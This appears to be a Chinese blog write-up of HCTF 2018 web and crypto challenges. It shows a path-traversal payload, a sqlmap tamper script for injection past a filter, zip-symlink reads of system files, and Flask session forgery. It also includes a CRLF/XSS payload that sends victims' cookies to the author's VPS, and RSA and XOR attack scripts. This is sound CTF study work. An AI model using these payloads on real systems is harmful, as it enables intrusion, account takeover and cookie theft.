2018 HCTF 总结

打了一下 HCTF,感觉题目质量很好,学到了一些新姿势。赛后看了下各大顶尖战队师傅们的 wp,总结一下。

Web

Warmup

提示源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<?php
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}

if (in_array($page, $whitelist)) {
return true;
}

$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}

$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}

if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>

使用了白名单,只有 source.php 和 hint.php 才可以,但是发现有个 ? 截取,可以构造 payload:

1
file=source.php?/../../../../ffffllllaaaagggg

可以 return ture。

然后在 include 的时候,include(source.php?/../../../../ffffllllaaaagggg) 解析方式为:把 source.php?当作一个新的文件夹,其实是没有这个文件夹的,然后后一个 ../ 又跳回了当前目录,后面接着 3 个 ../,意思就是当前目录(源码所在目录)上三级文件夹下有个 ffffllllaaaagggg 文件,可以成功读取。

访问 http://warmup.2018.hctf.io/?file=source.php?/../../../../ffffllllaaaagggg,得到flag

image.png

kzone

题目进去就跳到 qq 空间登陆界面,发现源码泄露 www.zip,下载下来进行审计。

发现有全局的 waf:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
function waf($string)
{
$blacklist = '/union|ascii|mid|left|greatest|least|substr|sleep|or|benchmark|like|regexp|if|=|-|<|>|\#|\s/i';
return preg_replace_callback($blacklist, function ($match) {
return '@' . $match[0] . '@';
}, $string);
}

function safe($string)
{
if (is_array($string)) {
foreach ($string as $key => $val) {
$string[$key] = safe($val);
}
} else {
$string = waf($string);
}
return $string;
}
//
foreach ($_GET as $key => $value) {
if (is_string($value) && !is_numeric($value)) {
$value = safe($value);
}
$_GET[$key] = $value;
}
foreach ($_POST as $key => $value) {
if (is_string($value) && !is_numeric($value)) {
$value = safe($value);
}
$_POST[$key] = $value;
}
foreach ($_COOKIE as $key => $value) {
if (is_string($value) && !is_numeric($value)) {
$value = safe($value);
}
$_COOKIE[$key] = $value;
}
unset($cplen, $key, $value);
?>

过滤了一些字符。

member.php 中,发现注入点:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
if (!defined('IN_CRONLITE')) exit();
$islogin = 0;
if (isset($_COOKIE["islogin"])) {
if ($_COOKIE["login_data"]) {
$login_data = json_decode($_COOKIE['login_data'], true);
$admin_user = $login_data['admin_user'];
$udata = $DB->get_row("SELECT * FROM fish_admin WHERE username='$admin_user' limit 1");
if ($udata['username'] == '') {
setcookie("islogin", "", time() - 604800);
setcookie("login_data", "", time() - 604800);
}
$admin_pass = sha1($udata['password'] . LOGIN_KEY);
if ($admin_pass == $login_data['admin_pass']) {
$islogin = 1;
} else {
setcookie("islogin", "", time() - 604800);
setcookie("login_data", "", time() - 604800);
}
}
}
if (isset($_SESSION['islogin'])) {
if ($_SESSION["admin_user"]) {
$admin_user = base64_decode($_SESSION['admin_user']);
$udata = $DB->get_row("SELECT * FROM fish_admin WHERE username='$admin_user' limit 1");
$admin_pass = sha1($udata['password'] . LOGIN_KEY);
if ($admin_pass == $_SESSION["admin_pass"]) {
$islogin = 1;
}
}
}
?>

可以看到 login_data 进行了 json_decode,这样可以无视 waf 了。例如过滤了 or ,可以使用\u006fr 来绕过。

比赛的时候是根据返回头里 set-cookie 的数量来进行布尔盲注,这个语句:

$udata = $DB->get_row("SELECT * FROM fish_admin WHERE username='$admin_user' limit 1");

可以构造 admin'and/**/0\u0023admin'and/**/1\u0023,来控制下面 $udata['username'] == ''是否为真,通过 set-cookie 数量可以判断。由于下面这条语句 $admin_pass == $login_data['admin_pass'],肯定为假,所以肯定有两个 set-cookie,这样可以通过返回头是两个还是四个 set-cookie 来布尔盲注。

测试:

admin'and/**/0\u0023:

image.png

admin'and/**/1\u0023:

image.png

可以注入。

然后发现不用注入,直接用 union 控制查询出的 $udata['password']就可以登录管理员,但是登入后台发现没有 getshell 的点,审计发现都是 sql 语句没有什么可利用的。

猜测 flag 在数据库里,然后用盲注一点点注入,最后表名是 F1444g ,字段名是 F1a9 ,注出来 flag。

赛后看了大师傅们的 wp,发现有师傅直接自己写 tamper 脚本用 sqlmap 注入,自己也正好学一下写 tamper 脚本。

这里贴上 RR 师傅的脚本:

tamper/hctf.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW

def dependencies():
pass

def tamper(payload, **kwargs):
data = '''{"admin_user":"%s"};'''
payload = payload.lower()

payload = payload.replace('u', '\u0075')
payload = payload.replace('o', '\u006f')
payload = payload.replace('i', '\u0069')
payload = payload.replace('\'', '\u0027')
payload = payload.replace('\"', '\u0022')
payload = payload.replace(' ', '\u0020')
payload = payload.replace('s', '\u0073')
payload = payload.replace('#', '\u0023')
payload = payload.replace('>', '\u003e')
payload = payload.replace('<', '\u003c')
payload = payload.replace('-', '\u002d')
payload = payload.replace('=', '\u003d')
payload = payload.replace('f1a9', 'F1a9')
payload = payload.replace('f1', 'F1')
return data % payload

命令:python sqlmap.py -r a.txt --tamper=hctf --dbms=mysql --thread=10 --dbs

a.txt:

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /admin/list.php HTTP/1.1
Host: kzone.2018.hctf.io
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Referer: http://kzone.2018.hctf.io/admin/login.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 29
Cookie: islogin=1;login_data=*
Connection: close
Upgrade-Insecure-Requests: 1

user=admin&pass=1&login=Login

最后两个 replace 是因为后面注的时候,由于前面payload = payload.lower() 都换成了小写,表名之类的就不对了 ,还要把他们替换回去。

自己在复现的时候,sqlmap 死活跑不出,参考了一叶飘零师傅的 wp 才意识到是 sqlmap 对于盲注正确与否的不同页面判断有问题。

按照之前的注入方式,差别仅在响应头 set-cookie 的数量, sqlmap 默认应该是不能通过这样的方式盲注的,所以一直不成功。然后发现做题的时候漏了一个地方自己没有看到这个 $admin_pass == $login_data['admin_pass']弱类型。 $admin_pass = sha1($udata['password'] . LOGIN_KEY); 也就是说是个 sha1 的哈希值,我们可以 admin_pass传入一个数字来弱类型绕过,数字到底是多少可以爆破,爆破到 65 成功,证明那个 sha1 的哈希值是 65 开头的。

然后就可以登进去了,这样的话盲注就变成了正确时是成功登陆,错误两个 set-cookie。我们现在可以通过 sqlmap 的指定选项 --not-string=window.location来注入了,告诉 sqlmap 盲注错误返回的页面含有 window.location

所以我们把 temper 脚本改为 data = '''{"admin_user":"admin%s","admin_pass":65};''',然后命令:

1
python sqlmap.py -r a.txt --tamper=hctf --dbms=mysql --thread=10 --technique=B --not-string=window.location -dbs

–technique=B 指定注入为 Bool 盲注, 发现注出了数据库:

image.png

接下来就是注表名,命令:

1
python sqlmap.py -r a.txt --tamper=hctf --dbms=mysql --thread=10 --technique=B --not-string=window.location -D hctf_kouzone --tables

image.png

注字段名,命令:

1
python sqlmap.py -r a.txt --tamper=hctf --dbms=mysql --thread=10 --technique=B --not-string=window.location -D hctf_kouzone -T F1444g --columns

image.png

最后注flag,命令:

1
python sqlmap.py -r a.txt --tamper=hctf --dbms=mysql --thread=10 --technique=B --not-string=window.location -D hctf_kouzone -T F1444g -C F1a9 --dumps

image.png

另外,发现注入点也可以不用布尔盲注,采用时间盲注,就没有布尔盲注正确与错误的情况 sqlmap 能否识别的问题了。可以注出来但是效率就低了,sqlmap 命令:

1
python sqlmap.py -r a.txt --tamper=hctf --dbms=mysql --thread=10 --technique=T

handandseek

上传 zip 文件,想到软连接任意文件读取,详情可见:http://www.vuln.cn/8132

两个命令: ln -s 要读的文件名 链接名zip -y 压缩包名 链接名

可以用 python 写一个小的生成器,避免每次读都要输命令。

可以读 /etc/passwd,没有发现什么

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/bin/false
nginx:x:101:102:nginx user,,,:/nonexistent:/bin/false
messagebus:x:102:103::/var/run/dbus:/bin/false

读一下 /proc/self/environ ,发现了有用的:

1
UWSGI_ORIGINAL_PROC_NAME=/usr/local/bin/uwsgiSUPERVISOR_GROUP_NAME=uwsgiHOSTNAME=fa2af3bed43dSHLVL=0PYTHON_PIP_VERSION=18.1HOME=/rootGPG_KEY=0D96DF4D4110E5C43FBFB17F2D347EA6AA65421DUWSGI_INI=/app/it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.iniNGINX_MAX_UPLOAD=0UWSGI_PROCESSES=16STATIC_URL=/staticUWSGI_CHEAPER=2NGINX_VERSION=1.13.12-1~stretchPATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binNJS_VERSION=1.13.12.0.2.0-1~stretchLANG=C.UTF-8SUPERVISOR_ENABLED=1PYTHON_VERSION=3.6.6NGINX_WORKER_PROCESSES=autoSUPERVISOR_SERVER_URL=unix:///var/run/supervisor.sockSUPERVISOR_PROCESS_NAME=uwsgiLISTEN_PORT=80STATIC_INDEX=0PWD=/app/hard_t0_guess_n9f5a95b5ku9fgSTATIC_PATH=/app/staticPYTHONPATH=/appUWSGI_RELOADS=0

配置文件 /app/it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.ini

根目录: /app/hard_t0_guess_n9f5a95b5ku9fg

继续读配置文件:

1
2
module = hard_t0_guess_n9f5a95b5ku9fg.hard_t0_guess_also_df45v48ytj9_main
callable=app

/app/hard_t0_guess_n9f5a95b5ku9fg/hard_t0_guess_also_df45v48ytj9_main.py 是运行的文件。

第一天的时候这个 py 文件是个 html…脑洞?后来有 bug 下线了,再上线读一下就是正常的 py :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
import uuid
import base64
import random
import flag
from werkzeug.utils import secure_filename
import os
random.seed(uuid.getnode())
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.random()*100)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
ALLOWED_EXTENSIONS = set(['zip'])

def allowed_file(filename):
return '.' in filename and \
filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS


@app.route('/', methods=['GET'])
def index():
error = request.args.get('error', '')
if(error == '1'):
session.pop('username', None)
return render_template('index.html', forbidden=1)

if 'username' in session:
return render_template('index.html', user=session['username'], flag=flag.flag)
else:
return render_template('index.html')


@app.route('/login', methods=['POST'])
def login():
username=request.form['username']
password=request.form['password']
if request.method == 'POST' and username != '' and password != '':
if(username == 'admin'):
return redirect(url_for('index',error=1))
session['username'] = username
return redirect(url_for('index'))


@app.route('/logout', methods=['GET'])
def logout():
session.pop('username', None)
return redirect(url_for('index'))

@app.route('/upload', methods=['POST'])
def upload_file():
if 'the_file' not in request.files:
return redirect(url_for('index'))
file = request.files['the_file']
if file.filename == '':
return redirect(url_for('index'))
if file and allowed_file(file.filename):
filename = secure_filename(file.filename)
file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
if(os.path.exists(file_save_path)):
return 'This file already exists'
file.save(file_save_path)
else:
return 'This file is not a zipfile'


try:
extract_path = file_save_path + '_'
os.system('unzip -n ' + file_save_path + ' -d '+ extract_path)
read_obj = os.popen('cat ' + extract_path + '/*')
file = read_obj.read()
read_obj.close()
os.system('rm -rf ' + extract_path)
except Exception as e:
file = None

os.remove(file_save_path)
if(file != None):
if(file.find(base64.b64decode('aGN0Zg==').decode('utf-8')) != -1):
return redirect(url_for('index', error=1))
return Response(file)


if __name__ == '__main__':
#app.run(debug=True)
app.run(host='127.0.0.1', debug=True, port=10008)

代码出现对 index.html 的渲染,读一下 index.html ,路径:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129

```html
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="description" content="">
<meta name="author" content="">

<title>Message center</title>
<link rel="icon" href="data:image/ico;base64,aWNv">

<!-- Bootstrap core CSS -->
<link href="https://cdn.bootcss.com/bootstrap/3.3.7/css/bootstrap.min.css" rel="stylesheet">


</head>

<body>

<nav class="navbar navbar-inverse navbar-fixed-top">
<div class="container">
<div class="navbar-header">
<button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#navbar" aria-expanded="false" aria-controls="navbar">
<span class="sr-only">Toggle navigation</span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
</button>
<a class="navbar-brand" href="/#">Message center</a>
</div>
<div id="navbar" class="collapse navbar-collapse">
<ul class="nav navbar-nav">
<li class="active"><a href="/#">Home</a></li>
<li><a href="#about">About</a></li>
<li><a href="#contact">Contact</a></li>
</ul>

{% if user %}
<div class="navbar-form navbar-right">
<ul class="nav navbar-nav">
<li ><a href="#">{{ user }}</a></li>
<li><a href="logout">Logout</a></li>
</ul>


{% else %}
<form class="navbar-form navbar-right" action="login" method="post" >
<div class="form-group">
<input type="text" placeholder="username" name="username" class="form-control">
</div>
<div class="form-group">
<input type="password" placeholder="password" name="password" class="form-control">
</div>
<button type="submit" class="btn btn-success">Sign in</button>
</form>
{% endif %}

</div>

<div id="navbar" class="navbar-collapse collapse">

</div>
<!--/.nav-collapse -->

</div>
</nav>

<div class="container" >
<style type="text/css">
body {
padding-top: 50px;
}
.starter-template {
padding: 40px 15px;
text-align: center;
}
</style>

<div class="starter-template">


<p class="lead">
{% if user %}
<br>
<br>
<h1>Hello, {{ user }}. </h1>

{% if user == 'admin' %}
Your flag: <br>
{{ flag }}

{% else %}
<br>
<br>
<h3>I will tell you a secret, but you should upload a zipfile first.</h3>
<br>
<br>
<form action="/upload" method="post"
enctype="multipart/form-data">

<input type="file" name="the_file" />
<input type="submit" name="submit" value="Submit" />
</form>
<br>
{% endif %}
{% else %}
<br>
<br>
<br>
<br>
<br>
<br>
<h1>For more information, please login.</h1>

{% endif %}
</p>

</div>

</div><!-- /.container -->

{% if forbidden %}
<script type="text/javascript">alert("Sorry, you are not admin!")</script>>
{% endif %}
</body>
</html>

是 admin 可以得到 flag,flag是从 flag.py import 的,那么尝试读 flag.py,发现返回不是 admin…

那么我们就需要 admin 登进去了,这里在代码看到 session 的 SECRET_KEY 生成方式:

1
2
3
import uuid
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*100)

搜一下 uuid.getnode(),就可以知道这是返回主机的 mac 地址(十进制),所以我们如果想伪造 session,先要读一下 mac 地址,路径:/sys/class/net/eth0/addressc

1
12:34:3e:14:7c:62

那么直接 python 生成:

1
2
3
4
import uuid
import random
random.seed(int("12343e147c62",16))
print(str(random.random()*100))

注意这里要用 python3,python2 和 python3 生成的结果不同,读 python 版本号可知是 python3,也可以两个都试一下。

得到结果: 11.935137566861131

然后有了 SECRET_KEY,拿到管理员的 session ,这里说下两种方法:

本地运行拿 session

代码里如果 admin 登录就跳转,我们可以本地把代码这部分改掉,然后 admin 登录拿 session,注意还要把 key 改了,如果不改就按照自己主机的 mac 地址生成了。

image.png

1542086603892.png

我改了个print(1)

运行 main.py,访问 http://127.0.0.1:10008/ 直接登录 admin(要仿照服务器那边放个 flag.py 保证正常登录)

拿 cookie:

image.png

然后带着这个 cookie 去访问题目:

image.png

得到 flag:

image.png

直接伪造 session

现在我们已经拿到了 seesion 的 SECRET_KEY,可以借助工具直接生成 Flask 的 session,工具地址:

https://github.com/noraj/flask-session-cookie-manager

首先我们首先任意登一个用户,解密一下:

1
2
python session_cookie_manager.py decode -c "eyJ1c2VybmFtZSI6ImdtbCJ9.DsvdsA.L4_AQuRKz_33D-JBWPEOdipSQTM" -s "11.935137566861131"
{u'username': u'gml'}

把名字改为 admin,生成:

1
2
python session_cookie_manager.py encode -t "{u'username': u'admin'}" -s "11.935137566861131"
eyJ1c2VybmFtZSI6ImFkbWluIn0.W-pMzA._Zbk3AcYcydsgX3W43l2ZQfD06I

拿这个 session 也可以得到 flag。

admin

解法一、unicode编码绕过

修改密码的源代码有github的地址,源码泄露:

image.png

下载到源码,发现在注册和改密码都包含有一个 strlower 的处理:

image.png

跟一下:

image.png

这里两次进行小写转换可以越权修改 admin 的密码,详细可见 这篇

按照思路,先注册一个 ᴬdmin,然后登录:

image.png

经过strlower ,发现已经变成了正常的大写的 A。

然后我们修改密码,再用 admin 和修改后的密码进行登录:

image.png

成功登入 admin。

解法二、伪造 session

和上面的 handandseek 几乎一样,这里也是两种方法生成 session。

工具生成:

详情见 handandseek 的过程,拿到普通用户的 session -> 解密 -> 用户名改为 admin -> 登录

需要注意的是要用 python3 生成,2 和 3 有些差异,python2 登不进去。

我用 python3 也有时候登的上有时候登不上… 很迷,多试几次。

1
2
 py -3 session_cookie_manager.py decode -c ".eJw9kE2LgzAQhv_KMmcPGk1dCz0U1OJCpghxQ3KR1I31K13QFqml_31tD3t8n_dhmJkHlPVopga21_FmHCjbH9g-4OMEW0CuOuTFXRLmYtxTZVWv-GBRYI-WzYrvKePVLEkeyKXyVTy0SLBXIid4yGf2cklBUXz37JAEuKy-zWYUhS9XpkRyZzZtMd4HyqYNi9HKRVJJMh8X1WL3teacIkmbI5cB49mihGqkTahc0uEYY8fEi7MdPB2oprEur7-9uazLU127rh96mhovCmu3DrWvK2PCz4hEG6IranRUVxtwoLX6bP6v5glmMt-9J160XQs422HVbpMZ3-8Bz4XnH8pzYho.W-pkDw.8VHOyWfjrgVGMKOpjxyK3Q4UPq4" -s "ckj123"
{'_fresh': True, '_id': b'56c552cc4499ffde9f5cd6c0e09170cd8c77d9b7cded64d019f7e95ed0a87092b05e7aedea22ab408faa03fc69cb776b62fc497aa968123efaba9c1e83c1f813', 'csrf_token': '5af00371a5e197f0f7a3acee7892962ac5ea9fc6', 'image': b'LCHa', 'name': 'gml', 'user_id': '10'}
1
2
py -3 session_cookie_manager.py encode -t "{'_fresh': True, '_id': b'56c552cc4499ffde9f5cd6c0e09170cd8c77d9b7cded64d019f7e95ed0a87092b05e7aedea22ab408faa03fc69cb776b62fc497aa968123efaba9c1e83c1f813', 'csrf_token': '5af00371a5e197f0f7a3acee7892962ac5ea9fc6', 'image': b'LCHa', 'name': 'admin', 'user_id': '10'}" -s "ckj123"
.eJw9kE2LgzAQhv_KMmcPGk1dhR4KanEhU4R0Q3KR1Mb1Ky7YFqml_31tD3t8n_dhmJkHlPVkLg3E1-lmHCjbM8QP-DhBDMhVh_x4l4S5mPRUWdUrPlgU2KNls-I7yng1S1IEcql8lQwtEuyVKAjui5m9XHKkKL57tk8DXFbf5jOKoy9XpkR6ZzZrMdkFymYNS9DKRVJJch8X1WL3teaCIsmaA5cB4_mihGqkTalcsuGQYMfEi7MtPB2oLlNdXn97M67LU127rh96mhovCmu3DrWvK2PCz4hEG6IranRUVxtwoLX6x_xfzVPMZbF9Txy1XQvQZ9uOq3i7mOn9IPBceP4Bk15i4w.W-pzdQ.PJAuINlsKAVYWnmZLp7QUJFIiNI

然后带着 session 去访问 http://admin.2018.hctf.io/index

image.png

本地生成

本地搭环境登录 admin 获取 session。

解法三、条件竞争

这个有师傅利用条件竞争成功登入 admin 的,见这篇:

https://gist.github.com/dotsu123/7e479ad93c62c9632a97dbb9bb119681

不过我没有复现成功。。。

解法四、莫名其妙拿 flag

听天枢的师傅说这个题有个奇怪的 bug… 天枢 wp 的链接 https://xz.aliyun.com/t/3256#toc-4

这题这么多解法真是可以2333。

bottle

登进去是下面的页面:

image.png

很像是 xss,发现有个 302 跳转:

image.png

参考 p神的文章:https://www.leavesongs.com/PENETRATION/bottle-crlf-cve-2016-9964.html

使用 <80 的端口绕过 302。直接打 cookie,用 VPS 和 xss 平台都可以。

验证码可以用下面脚本跑出来:

1
2
3
4
5
6
7
8
9
10
11
<?php
$i=0;
for($i=0;$i<1000000;$i++)
{
if(substr(md5($i),0,4) == "95fa")
{
echo $i;
exit();
}
}
?>

VPS

在我的 VPS 上放个 cookie.js,内容为:

1
keep=new Image(); keep.src='http://vps_address:2333?cookie='+escape(document.cookie);

然后在题目 url 填入下面 payload:

1
http://bottle.2018.hctf.io/path?path=http://bottle.2018.hctf.io:22/user%0d%0a%0d%0a%3Cscript%20src=http://vps/cookie.js%3E%3C/script%3E

验证码爆破,然后提交,在 vps 上监听 2333端口:

image.png

image.png

用打来的 cookie: 410e34187a19486dbdd6532fbb44af70 访问:

image.png

xss 平台:

payload:

1
http://bottle.2018.hctf.io/path?path=http://bottle.2018.hctf.io:22/user%0d%0a%0d%0a%3Cscript%20src=https://xss.pt/WqMR%3E%3C/script%3E

image.png

Crypto

xor_game

典型的重复密钥异或,之前 Bside 做过一个类似的,这次也是套用上次的思路。

思路

我们先假设 key 有10位,那么明文第 1 位与密文第 1 位异或的结果一定等于明文第11位与密文第11位异或的结果,因为结果就是 key 的第一个字符

所以我们可以控制明文的第 1 位和第 11 位进行爆破,当他们与各自位置的密文异或的结果相等,就说明异或的结果是 key 第一位的一个可能值。利用第一位和第十一位,应该会得到不止一个 key 第一位的可能值。再同理爆 11 位和 21 位,第 21 位 和第 22 位 ……最后各个组的可能值取交集,就有很大可能是 key 的第一位。

当然我们不知道 key 的位数,我们可以采用爆破的方法,看爆出的 key 哪个像是 flag,因为 flag 是可见字符并且可以辨认。

因为我们有足够多的组,所以有很小几率取交集剩下有多个字符,但是这里涉及到一个很棘手的问题,就是爆破明文的时候,爆破的字典选取。

这个字典,如果选择所有可见字符,那么确实每一位最后都会爆出很多个结果… 这道题说明文是一首诗,所以我能想到的字符集是大小写字母+数字+空格、换行+标点符号。这个字典选取如果过大,会爆出很多结果;如果字典选取过小,明文中有些字符没有在字典中,那么就会出现部分 key 的位数爆不出来的情况。

解题过程

在做这个题时,我先尽量压低了字典的大小:

1
dict=string.ascii_letters+string.digits+".?!'\",;: "+chr(10)

代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
# -*- coding: utf-8 -*-
import base64
import string
from Crypto.Util.strxor import strxor

dict=string.ascii_letters+string.digits+".?!'\",;: "+chr(10)

with open('cipher.txt', 'r') as f:
cipher=base64.b64decode(f.read())

def enc(data, key):
key = (key * (len(data) / len(key) + 1))[:len(data)]
return strxor(data, key)

def getkey(i,j):
list=[]
for a in dict:
for b in dict:
if ord(a) ^ ord(cipher[i]) == ord(b) ^ ord(cipher[j]) :
list.append(chr(ord(a) ^ ord(cipher[i])))
return set(list)

for a in range(1,30):
key_len = a
group = len(cipher) / key_len #组数
key = ""
for i in range(key_len):
k = getkey(0 * key_len + i, 1 * key_len + i) #第一组
for j in range(1, group - 1):
k = k & getkey(j * key_len + i, j * key_len + key_len + i) #每次取交集
key += ''.join(list(k))
print key_len,":"+key

结果:

image.png

可以判断 key 应该为 21 位,而这个结果才 17 位,离真正的 key 还差一些。

很容易补齐前面差的 x 和后面的 g,但是还是差两两位,猜测字典可能小了,所以不断试着逐渐增大字典,终于最后找到了合适的字典:

1
dict=string.ascii_letters+string.digits+".?!'\",;: ()-"+chr(10)

最后跑出来 flag:

1
xor_is_interesting!@#

回顾我的思路,最大的问题是字典的选取。我在爆每一位的时候,取交集的组数是 组数-1,如果少用一些组,可能会降低字典选择的难度;又或者可以多用更多的组,比如第一组的第 1 位和其他各组都进行爆破,使用尽可能多的组进行取交集,让条件更为苛刻,那么就可以让字典大一些了,这些想法都可以试一试。

赛后看师傅们的思路,好像没有与我有类似思路的… 大体分为这两种:

  1. 通过词频分析结合爆出的 key,一点点猜测真正的 key;
  2. 通过 xortool工具计算出模糊的 key,解密出明文的几个单词,然后去搜素发现是泰戈尔的《生如夏花》,还原出完完整整的一组明文,利用这 21 个字符的明文与密文异或得到 key。

关于破解异或加密,贴上几个链接:

  1. https://ehsandev.com/pico2014/cryptography/repeated_xor.html
  2. https://findneo.github.io/171005NuptVigenereWP/
  3. https://github.com/hellman/xortool

有兴趣的师傅可以深入研究。

xor?rsa

两段明文的前 1024-40 位相同,后 40 位不同,典型的 RSA padding short 攻击。

首先使用 Coppersmith’s Short Pad Attack 来获得两段明文的差值,然后再利用 Related Message Attack恢复明文,使用 sage 脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
def short_pad_attack(c1, c2, e, n):
PRxy.<x,y> = PolynomialRing(Zmod(n))
PRx.<xn> = PolynomialRing(Zmod(n))
PRZZ.<xz,yz> = PolynomialRing(Zmod(n))

g1 = x^e - c1
g2 = (x+y)^e - c2

q1 = g1.change_ring(PRZZ)
q2 = g2.change_ring(PRZZ)
h = q2.resultant(q1)
h = h.univariate_polynomial()
h = h.change_ring(PRx).subs(y=xn)
h = h.monic()

kbits = n.nbits()//(2*e*e)
diff = h.small_roots(X=2^kbits, beta=0.5)[0] # find root < 2^kbits with factor >= n^0.5

return diff

def related_message_attack(c1, c2, diff, e, n):
PRx.<x> = PolynomialRing(Zmod(n))
g1 = x^e - c1
g2 = (x+diff)^e - c2

def gcd(g1, g2):
while g2:
g1, g2 = g2, g1 % g2
return g1.monic()

return -gcd(g1, g2)[0]

if __name__ == '__main__':

n =
c1 =
c2 =
e = 5

diff = short_pad_attack(c1, c2, e, n)
print "difference of two messages is %d" % diff

m1 = related_message_attack(c1, c2, diff, e, n)
print 'success'
print m1
print m1 + diff
assert(pow(m1,e,n)==c1)
assert(pow(m1 + diff,e,n)==c2)

https://sagecell.sagemath.org/ 上运行,把结果发过去就可以得到 flag。

也可以采用下面的脚本求解:

1
https://github.com/ValarDragon/CTF-Crypto/blob/master/RSA/FranklinReiter.sage
-------------本文结束感谢您的阅读-------------
0%